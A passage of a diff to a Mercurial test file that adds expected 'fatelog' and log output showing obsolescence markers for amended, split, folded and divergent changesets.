+  |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["operation", "amend"], ["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["operation", "amend"], ["user", "test"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
+  o  ea207398892e
+  
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  o  ea207398892e
+  
+
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | x  changeset:   2:a468dc9b3633
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test2
+  |    summary:     A1
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:a468dc9b3633
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+  $ hg log -G -T "default" --hidden -v
+  @  changeset:   3:d004c8f274b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  files:       A0
+  |  description:
+  |  A2
+  |
+  |
+  | x  changeset:   2:a468dc9b3633
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  |    files:       A0
+  |    description:
+  |    A1
+  |
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  |    files:       A0
+  |    description:
+  |    A0
+  |
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     files:       ROOT
+     description:
+     ROOT
+  
+  
 Test templates with splitted commit
 ===================================
 
@@ -208,6 +401,7 @@
   | x  changeset:   1:471597cad322
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    split as 2:337fec4d2edc, 3:f257fde29c7a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -239,6 +433,16 @@
   |      json: [["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | @  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up f257fde29c7a
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -270,6 +474,81 @@
   |      json: [["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]]
   o  ea207398892e
   
+
+  $ hg fatelog --hidden
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+  $ hg fatelogjson --hidden
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: [{"markers": [["471597cad322d1f659bb169751be9133dad92ef3", ["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]}]
+  o  ea207398892e
+  
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:f257fde29c7a
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A0
+  |
+  o  changeset:   2:337fec4d2edc
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A0
+  |
+  | x  changeset:   1:471597cad322
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    split as 2:337fec4d2edc, 3:f257fde29c7a
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with folded commit
 =================================
 
@@ -323,11 +602,13 @@
   | x  changeset:   2:0dec01379d3b
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten as 3:eb5a0daa2192
   | |  summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten as 3:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -354,6 +635,14 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(B0)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -375,6 +664,16 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(C0)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -404,6 +703,81 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  o  ea207398892e
+  
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:eb5a0daa2192
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   2:0dec01379d3b
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten as 3:eb5a0daa2192
+  | |  summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten as 3:eb5a0daa2192
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with divergence
 ==============================
 
@@ -426,6 +800,7 @@
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -442,19 +817,21 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: content-divergent
   |  summary:     A2
   |
   | o  changeset:   2:fdf9bde5129a
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    trouble:     divergent
+  |    instability: content-divergent
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -469,25 +846,28 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: content-divergent
   |  summary:     A3
   |
   | x  changeset:   3:65b757b745b9
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 4:019fadeab383
   |    summary:     A2
   |
   | o  changeset:   2:fdf9bde5129a
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    trouble:     divergent
+  |    instability: content-divergent
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -521,6 +901,15 @@
   |      json: [["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"], ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"]]
   o  ea207398892e
   
+  $ hg fatelog
+  o  019fadeab383
+  |
+  | o  fdf9bde5129a
+  |/
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(A1)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -533,6 +922,14 @@
   |/
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  019fadeab383
+  |
+  | @  fdf9bde5129a
+  |/
+  o  ea207398892e
+  
 Predecessors template should the predecessors as we force their display with
 --hidden
   $ hg tlog --hidden
@@ -562,6 +959,105 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000);
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: [{"markers": [["65b757b745b935093c87a2bccd877521cccffcbd", ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"]}]
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"]}, {"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["65b757b745b935093c87a2bccd877521cccffcbd"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["65b757b745b935093c87a2bccd877521cccffcbd"]}]
+  o  ea207398892e
+  
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000)
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  o  changeset:   4:019fadeab383
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  instability: content-divergent
+  |  summary:     A3
+  |
+  | x  changeset:   3:65b757b745b9
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 4:019fadeab383
+  |    summary:     A2
+  |
+  | @  changeset:   2:fdf9bde5129a
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    instability: content-divergent
+  |    summary:     A1
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with amended + folded commit
 ===========================================
 
@@ -585,6 +1081,7 @@
   | x  changeset:   2:0dec01379d3b
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:b7ea6d14e664
   |    summary:     B0
   |
   o  changeset:   1:471f378eab4c
@@ -623,16 +1120,19 @@
   | |  parent:      1:471f378eab4c
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten as 4:eb5a0daa2192
   | |  summary:     B1
   | |
   | | x  changeset:   2:0dec01379d3b
   | |/   user:        test
   | |    date:        Thu Jan 01 00:00:00 1970 +0000
+  | |    obsolete:    rewritten using amend as 3:b7ea6d14e664
   | |    summary:     B0
   | |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten as 4:eb5a0daa2192
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -659,6 +1159,14 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(B0)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -679,6 +1187,16 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  0dec01379d3b
+  | |    Obsfate: rewritten using amend as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(B1)' --hidden
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -699,6 +1217,16 @@
   |      json: [["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eb5a0daa2192
+  |
+  | @  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(C0)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -708,6 +1236,12 @@
   |
   o  ea207398892e
   
+
+  $ hg fatelog
+  @  eb5a0daa2192
+  |
+  o  ea207398892e
+  
 Predecessors template should show all predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
@@ -735,6 +1269,99 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
+  $ hg fatelogjson --hidden
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: [{"markers": [["b7ea6d14e664bdc8922221f7992631b50da3fb07", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  | | x  0dec01379d3b
+  | |/     Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["b7ea6d14e664bdc8922221f7992631b50da3fb07"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["b7ea6d14e664bdc8922221f7992631b50da3fb07"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
+  o  ea207398892e
+  
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  @  changeset:   4:eb5a0daa2192
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   3:b7ea6d14e664
+  | |  parent:      1:471f378eab4c
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten as 4:eb5a0daa2192
+  | |  summary:     B1
+  | |
+  | | x  changeset:   2:0dec01379d3b
+  | |/   user:        test
+  | |    date:        Thu Jan 01 00:00:00 1970 +0000
+  | |    obsolete:    rewritten using amend as 3:b7ea6d14e664
+  | |    summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten as 4:eb5a0daa2192
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test template with pushed and pulled obs markers
 ================================================
 
@@ -776,11 +1403,13 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 3:7a230b46bf61
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -798,6 +1427,7 @@
   added 1 changesets with 0 changes to 1 files (+1 heads)
   2 new obsolescence markers
   obsoleted 1 changesets
+  new changesets 7a230b46bf61
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg log --hidden -G
   o  changeset:   2:7a230b46bf61
@@ -810,6 +1440,7 @@
   | @  changeset:   1:471f378eab4c
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:7a230b46bf61
   |    summary:     A0
   |
   o  changeset:   0:ea207398892e
@@ -819,8 +1450,8 @@
   
 
   $ hg debugobsolete
-  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 7a230b46bf61e50b30308c6cfd7bd1269ef54702 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 7a230b46bf61e50b30308c6cfd7bd1269ef54702 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
 
 Check templates
 ---------------
@@ -838,6 +1469,14 @@
   |      json: [["7a230b46bf61e50b30308c6cfd7bd1269ef54702"]]
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  7a230b46bf61
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
   $ hg up 'desc(A2)'
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -847,6 +1486,12 @@
   |
   o  ea207398892e
   
+
+  $ hg fatelog
+  @  7a230b46bf61
+  |
+  o  ea207398892e
+  
 Predecessors template should show all predecessors as we force their display
 with --hidden
   $ hg tlog --hidden
@@ -862,6 +1507,58 @@
   o  ea207398892e
   
 
+  $ hg fatelog --hidden
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  @  changeset:   2:7a230b46bf61
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A2
+  |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:7a230b46bf61
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test template with obsmarkers cycle
 ===================================
 
@@ -895,6 +1592,12 @@
   o  ea207398892e
   
 
+  $ hg fatelog
+  @  f897c6137566
+  |
+  o  ea207398892e
+  
+
   $ hg up -r "desc(B0)" --hidden
   2 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg tlog
@@ -923,6 +1626,16 @@
   o  ea207398892e
   
 
+  $ hg fatelog
+  o  f897c6137566
+  |
+  | @  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000); rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
   $ hg up -r "desc(A0)" --hidden
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg tlog
@@ -936,6 +1649,14 @@
   o  ea207398892e
   
 
+  $ hg fatelog
